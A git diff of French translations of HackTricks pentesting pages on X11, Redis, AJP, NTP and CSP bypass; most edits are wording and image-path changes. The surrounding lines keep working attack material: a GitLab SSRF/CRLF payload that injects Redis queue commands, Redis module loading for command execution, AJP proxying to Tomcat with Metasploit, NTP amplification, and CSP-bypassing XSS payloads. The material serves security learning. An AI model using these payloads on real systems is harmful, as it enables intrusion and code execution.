@ -328,7 +328,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -30,11 +30,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
**X Window System** (X) est un système de fenêtres polyvalent répandu sur les systèmes d'exploitation basés sur UNIX. Il fournit un cadre pour créer des **interfaces graphiques utilisateur (GUI)**, chaque programme gérant la conception de l'interface utilisateur. Cette flexibilité permet des expériences diverses et personnalisables au sein de l'environnement X.
|
||||
|
||||
**Port par défaut :** 6000
|
||||
**Default port:** 6000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6000/tcp open X11
|
||||
|
@ -48,7 +48,7 @@ msf> use auxiliary/scanner/x11/open_x11
|
|||
```
|
||||
#### Énumération locale
|
||||
|
||||
Le fichier **`.Xauthority`** dans le dossier personnel de l'utilisateur est **utilisé** par **X11 pour l'autorisation**. Depuis [**ici**](https://stackoverflow.com/a/37367518):
|
||||
Le fichier **`.Xauthority`** dans le dossier personnel des utilisateurs est **utilisé** par **X11 pour l'autorisation**. Depuis [**ici**](https://stackoverflow.com/a/37367518):
|
||||
```bash
|
||||
$ xxd ~/.Xauthority
|
||||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||||
|
@ -95,7 +95,7 @@ convert screenshot.xwd screenshot.png
|
|||
```
|
||||
## Remote Desktop View
|
||||
|
||||
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
Voie depuis : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
|
@ -161,11 +161,11 @@ Puis, mettez votre adresse IP et le port dans l'option **R-Shell** et cliquez su
|
|||
|
||||
* `port:6000 x11`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus du Hacking**\
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
|
@ -185,8 +185,8 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Informations de base
|
||||
|
||||
D'après [la documentation](https://redis.io/topics/introduction) : Redis est un **magasin de structures de données** open source (licence BSD), en mémoire, utilisé comme **base de données**, cache et courtier de messages.
|
||||
D'après [la documentation](https://redis.io/topics/introduction) : Redis est un **magasin de structures de données** en mémoire open source (licence BSD), utilisé comme **base de données**, cache et courtier de messages.
|
||||
|
||||
Par défaut, Redis utilise un protocole basé sur du texte brut, mais vous devez garder à l'esprit qu'il peut également implémenter **ssl/tls**. Apprenez à [exécuter Redis avec ssl/tls ici](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
|
@ -43,14 +43,14 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
## Enumeration automatique
|
||||
|
||||
Certains outils automatisés qui peuvent aider à obtenir des informations d'une instance redis :
|
||||
Quelques outils automatisés qui peuvent aider à obtenir des informations d'une instance redis :
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
```
|
||||
## Manual Enumeration
|
||||
## Enumeration Manuelle
|
||||
|
||||
### Banner
|
||||
### Bannière
|
||||
|
||||
Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange).
|
||||
|
||||
|
@ -116,7 +116,7 @@ Ou vous pouvez simplement obtenir tous les **keyspaces** (bases de données) ave
|
|||
```
|
||||
INFO keyspace
|
||||
```
|
||||
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump de la base de données 1, vous devez faire :
|
||||
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump par exemple de la base de données 1, vous devez faire :
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
|
@ -141,7 +141,7 @@ DUMP <key>
|
|||
```
|
||||
**Dump the database with npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **or python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -149,10 +149,10 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des informations en temps réel
|
||||
|
||||
**Latest Announcements**\
|
||||
Restez informé des nouvelles chasses aux bugs lancées et des mises à jour cruciales des plateformes
|
||||
Restez informé des nouvelles chasses aux bugs qui se lancent et des mises à jour cruciales des plateformes
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
|
@ -244,7 +244,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins : [yam](
|
|||
### Charger le module Redis
|
||||
|
||||
1. En suivant les instructions de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), vous pouvez **compiler un module redis pour exécuter des commandes arbitraires**.
|
||||
2. Ensuite, vous avez besoin d'un moyen pour **télécharger le module compilé**.
|
||||
2. Ensuite, vous avez besoin d'un moyen de **télécharger le module compilé**.
|
||||
3. **Chargez le module téléchargé** à l'exécution avec `MODULE LOAD /path/to/mymodule.so`.
|
||||
4. **Listez les modules chargés** pour vérifier qu'il a été correctement chargé : `MODULE LIST`.
|
||||
5. **Exécutez** **des commandes** :
|
||||
|
@ -296,7 +296,7 @@ Donc, si vous trouvez une **vulnérabilité SSRF** sur un site web et que vous p
|
|||
|
||||
### Exemple : Gitlab SSRF + CRLF vers Shell
|
||||
|
||||
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet à partir d'URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée en **ajoutant des caractères %0D%0A** à l'**URL**.
|
||||
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée simplement en **ajoutant des caractères %0D%0A** à l'**URL**.
|
||||
|
||||
Par conséquent, il était possible de **profiter de ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir une exécution de code**. Le payload d'abus de la file d'attente Redis est :
|
||||
```
|
||||
|
@ -311,32 +311,32 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
|
|||
```
|
||||
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où proviennent ces informations), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
**Aperçus du hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
**Actualités de hacking en temps réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -34,9 +34,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP est un protocole de communication. C'est une version optimisée du protocole HTTP pour permettre à un serveur web autonome tel qu'[Apache](http://httpd.apache.org/) de communiquer avec Tomcat. Historiquement, Apache a été beaucoup plus rapide que Tomcat pour servir du contenu statique. L'idée est de laisser Apache servir le contenu statique lorsque cela est possible, mais de faire passer la demande à Tomcat pour le contenu lié à Tomcat.
|
||||
> AJP est un protocole de communication. C'est une version optimisée du protocole HTTP pour permettre à un serveur web autonome tel que [Apache](http://httpd.apache.org/) de communiquer avec Tomcat. Historiquement, Apache a été beaucoup plus rapide que Tomcat pour servir du contenu statique. L'idée est de laisser Apache servir le contenu statique lorsque cela est possible, mais de faire passer la demande à Tomcat pour le contenu lié à Tomcat.
|
||||
|
||||
Also interesting:
|
||||
Aussi intéressant :
|
||||
|
||||
> Le protocole ajp13 est orienté paquet. Un format binaire a probablement été choisi plutôt que le texte brut plus lisible pour des raisons de performance. Le serveur web communique avec le conteneur de servlets via des connexions TCP. Pour réduire le processus coûteux de création de sockets, le serveur web tentera de maintenir des connexions TCP persistantes avec le conteneur de servlets et de réutiliser une connexion pour plusieurs cycles de demande/réponse.
|
||||
|
||||
|
@ -63,11 +63,11 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
|||
|
||||
## Proxy AJP
|
||||
|
||||
### Nginx Reverse Proxy & AJP
|
||||
### Nginx Proxy Inverse & AJP
|
||||
|
||||
[Consultez la version Dockerisée](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
|
||||
|
||||
Lorsque nous rencontrons un port proxy AJP ouvert (8009 TCP), nous pouvons utiliser Nginx avec le `ajp_module` pour accéder au "manager" Tomcat "caché". Cela peut être fait en compilant le code source de Nginx et en ajoutant le module requis, comme suit :
|
||||
Lorsque nous rencontrons un port proxy AJP ouvert (8009 TCP), nous pouvons utiliser Nginx avec le `ajp_module` pour accéder au "gestionnaire" Tomcat "caché". Cela peut être fait en compilant le code source de Nginx et en ajoutant le module requis, comme suit :
|
||||
|
||||
* Téléchargez le code source de Nginx
|
||||
* Téléchargez le module requis
|
||||
|
@ -87,7 +87,7 @@ make
|
|||
sudo make install
|
||||
nginx -V
|
||||
```
|
||||
Commenter tout le bloc `server` et ajouter les lignes suivantes à l'intérieur du bloc `http` dans `/etc/nginx/conf/nginx.conf`.
|
||||
Commenter l'ensemble du bloc `server` et ajouter les lignes suivantes à l'intérieur du bloc `http` dans `/etc/nginx/conf/nginx.conf`.
|
||||
```shell-session
|
||||
upstream tomcats {
|
||||
server <TARGET_SERVER>:8009;
|
||||
|
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
|
|||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
Cette configuration offre la possibilité de contourner les systèmes de détection et de prévention d'intrusion (IDS/IPS) en raison de la **nature binaire du protocole AJP**, bien que cette capacité n'ait pas été vérifiée. En dirigeant un exploit Tomcat Metasploit régulier vers `127.0.0.1:80`, vous pouvez effectivement prendre le contrôle du système ciblé.
|
||||
Cette configuration offre le potentiel de contourner les systèmes de détection et de prévention d'intrusion (IDS/IPS) en raison de la **nature binaire du protocole AJP**, bien que cette capacité n'ait pas été vérifiée. En dirigeant un exploit Tomcat Metasploit régulier vers `127.0.0.1:80`, vous pouvez effectivement prendre le contrôle du système ciblé.
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
```
|
||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -63,15 +63,15 @@ ntpdc -c sysinfo <IP_ADDRESS>
|
|||
```bash
|
||||
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
|
||||
```
|
||||
## Examine les fichiers de configuration
|
||||
## Examinez les fichiers de configuration
|
||||
|
||||
* ntp.conf
|
||||
|
||||
## Attaque d'amplification NTP
|
||||
## Attaque par amplification NTP
|
||||
|
||||
[**Comment fonctionne l'attaque DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
Le **protocole NTP**, utilisant UDP, permet de fonctionner sans avoir besoin de procédures de handshake, contrairement à TCP. Cette caractéristique est exploitée dans les **attaques d'amplification DDoS NTP**. Ici, les attaquants créent des paquets avec une fausse adresse IP source, faisant sembler que les demandes d'attaque proviennent de la victime. Ces paquets, initialement petits, incitent le serveur NTP à répondre avec des volumes de données beaucoup plus importants, amplifiant l'attaque.
|
||||
Le **protocole NTP**, utilisant UDP, permet de fonctionner sans avoir besoin de procédures de handshake, contrairement à TCP. Cette caractéristique est exploitée dans les **attaques par amplification DDoS NTP**. Ici, les attaquants créent des paquets avec une fausse adresse IP source, faisant sembler que les demandes d'attaque proviennent de la victime. Ces paquets, initialement petits, incitent le serveur NTP à répondre avec des volumes de données beaucoup plus importants, amplifiant ainsi l'attaque.
|
||||
|
||||
La commande _**MONLIST**_, malgré son utilisation rare, peut rapporter les 600 derniers clients connectés au service NTP. Bien que la commande elle-même soit simple, son utilisation abusive dans de telles attaques met en évidence des vulnérabilités de sécurité critiques.
|
||||
```bash
|
||||
|
@ -100,7 +100,7 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -111,7 +111,7 @@ Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
|||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des nouveaux programmes de bug bounty lancés et des mises à jour cruciales des plateformes
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
{% hint style="success" %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Contournement de la Politique de Sécurité du Contenu (CSP)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,7 +15,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le [**serveur Discord HackenProof**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -28,7 +28,7 @@ Restez à jour avec le monde du hacking en rapide évolution grâce à des nouve
|
|||
**Dernières Annonces**\
|
||||
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes
|
||||
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
||||
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui !
|
||||
|
||||
## Qu'est-ce que CSP
|
||||
|
||||
|
@ -80,13 +80,13 @@ object-src 'none';
|
|||
* **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
|
||||
* **base-uri**: Spécifie les URL autorisées pour le chargement en utilisant des éléments `<base>`.
|
||||
* **form-action**: Liste les points de terminaison valides pour les soumissions de formulaires.
|
||||
* **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
|
||||
* **plugin-types**: Restreint les types mime qu'une page peut invoquer.
|
||||
* **upgrade-insecure-requests**: Instruits les navigateurs à réécrire les URL HTTP en HTTPS.
|
||||
* **sandbox**: Applique des restrictions similaires à l'attribut sandbox d'un `<iframe>`.
|
||||
* **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
|
||||
* **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker ou ServiceWorker.
|
||||
* **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou pré-récupérées.
|
||||
* **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, formulaire, window.location, window.open, etc.)
|
||||
* **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par n'importe quel moyen (a, form, window.location, window.open, etc.)
|
||||
|
||||
### Sources
|
||||
|
||||
|
@ -122,7 +122,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `filesystem:`: Permet de charger des ressources à partir du système de fichiers.
|
||||
* `'report-sample'`: Inclut un échantillon du code violant dans le rapport de violation (utile pour le débogage).
|
||||
* `'strict-origin'`: Semblable à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
|
||||
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.
|
||||
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est inter-origine.
|
||||
* `'unsafe-allow-redirects'`: Permet de charger des ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
|
||||
|
||||
## Règles CSP non sécurisées
|
||||
|
@ -172,7 +172,7 @@ Charge utile fonctionnelle :
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Payloads fonctionnels :
|
||||
Chargements fonctionnels :
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
@ -182,7 +182,7 @@ Payloads fonctionnels :
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :
|
||||
Si vous pouvez télécharger un fichier JS, vous pouvez contourner ce CSP :
|
||||
|
||||
Payload fonctionnel :
|
||||
```markup
|
||||
|
@ -196,7 +196,7 @@ De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un
|
|||
|
||||
### Form-action
|
||||
|
||||
S'il n'est pas possible d'injecter du JS, vous pourriez toujours essayer d'exfiltrer par exemple des identifiants **en injectant une action de formulaire** (et peut-être en espérant que les gestionnaires de mots de passe remplissent automatiquement les mots de passe). Vous pouvez trouver un [**exemple dans ce rapport**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). De plus, notez que `default-src` ne couvre pas les actions de formulaire.
|
||||
